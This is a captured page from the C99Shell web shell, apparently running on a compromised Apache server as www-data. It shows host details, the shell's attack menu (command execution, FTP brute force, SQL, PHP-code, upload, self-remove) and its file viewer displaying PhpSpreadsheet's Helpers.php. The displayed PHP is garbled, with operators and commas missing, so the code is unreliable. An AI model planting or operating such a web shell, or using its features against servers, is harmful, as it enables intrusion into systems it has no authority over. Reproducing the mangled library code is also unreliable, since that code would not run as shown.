!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/   drwxr-xr-x
Free 13.11 GB of 57.97 GB (22.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Helpers.php (2.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Calculation\TextData;

use 
PhpOffice\PhpSpreadsheet\Calculation\Calculation;
use 
PhpOffice\PhpSpreadsheet\Calculation\Exception as CalcExp;
use 
PhpOffice\PhpSpreadsheet\Calculation\Functions;
use 
PhpOffice\PhpSpreadsheet\Calculation\Information\ErrorValue;
use 
PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError;

class 
Helpers
{
    public static function 
convertBooleanValue(bool $value): string
    
{
        if (
Functions::getCompatibilityMode() == Functions::COMPATIBILITY_OPENOFFICE) {
            return 
$value '1' '0';
        }

        return (
$value) ? Calculation::getTRUE() : Calculation::getFALSE();
    }

    
/**
     * @param mixed $value String value from which to extract characters
     */
    
public static function extractString($valuebool $throwIfError false): string
    
{
        if (
is_bool($value)) {
            return 
self::convertBooleanValue($value);
        }
        if (
$throwIfError && is_string($value) && ErrorValue::isError($value)) {
            throw new 
CalcExp($value);
        }

        return (string) 
$value;
    }

    
/**
     * @param mixed $value
     */
    
public static function extractInt($valueint $minValueint $gnumericNull 0bool $ooBoolOk false): int
    
{
        if (
$value === null) {
            
// usually 0, but sometimes 1 for Gnumeric
            
$value = (Functions::getCompatibilityMode() === Functions::COMPATIBILITY_GNUMERIC) ? $gnumericNull 0;
        }
        if (
is_bool($value) && ($ooBoolOk || Functions::getCompatibilityMode() !== Functions::COMPATIBILITY_OPENOFFICE)) {
            
$value = (int) $value;
        }
        if (!
is_numeric($value)) {
            throw new 
CalcExp(ExcelError::VALUE());
        }
        
$value = (int) $value;
        if (
$value $minValue) {
            throw new 
CalcExp(ExcelError::VALUE());
        }

        return (int) 
$value;
    }

    
/**
     * @param mixed $value
     */
    
public static function extractFloat($value): float
    
{
        if (
$value === null) {
            
$value 0.0;
        }
        if (
is_bool($value)) {
            
$value = (float) $value;
        }
        if (!
is_numeric($value)) {
            throw new 
CalcExp(ExcelError::VALUE());
        }

        return (float) 
$value;
    }

    
/**
     * @param mixed $value
     */
    
public static function validateInt($value): int
    
{
        if (
$value === null) {
            
$value 0;
        } elseif (
is_bool($value)) {
            
$value = (int) $value;
        }

        return (int) 
$value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--